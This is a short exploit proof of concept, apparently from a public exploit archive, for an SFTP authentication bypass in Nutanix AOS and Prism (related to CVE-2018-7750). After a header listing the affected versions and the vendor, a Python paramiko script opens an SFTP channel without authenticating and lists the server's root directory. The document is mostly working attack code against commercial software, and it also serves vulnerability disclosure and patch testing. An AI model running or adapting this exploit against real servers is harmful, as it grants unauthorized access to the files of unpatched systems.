Nutanix AOS And Prism SFTP Authentication Bypass

`# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass  
# Date: 2018-10-27  
# Exploit Author: Adam Brown  
# Vendor Homepage: https://www.nutanix.org  
# Software Link: https://www.nutanix.com/products/software-options/  
# Version: < 5.5.5 (LTS), < 5.8.1 (STS)  
# Tested on: Acropolis Operating System  
# CVE : Related to CVE-2018-7750  
#  
# This PoC is based on discussions found at the following blog post:  
# https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/  
# TLDR, the Acropolis SFTP server doesn't check if the client has completed the  
# authentication step before allowing the client to open channels. The PoC below  
# connects to the acropolis SFTP server, and lists the root directory without  
# authenticating.  
  
#!/usr/bin/python  
import paramiko  
  
host = '127.0.0.1'  
port = 2222  
  
trans = paramiko.Transport((host, port))  
trans.start_client()  
  
# If the call below is skipped, no username or password is required.  
# trans.auth_password('username', 'password')  
  
sftp = paramiko.SFTPClient.from_transport(trans)  
print(sftp.listdir('/'))  
sftp.close()  
  
  
`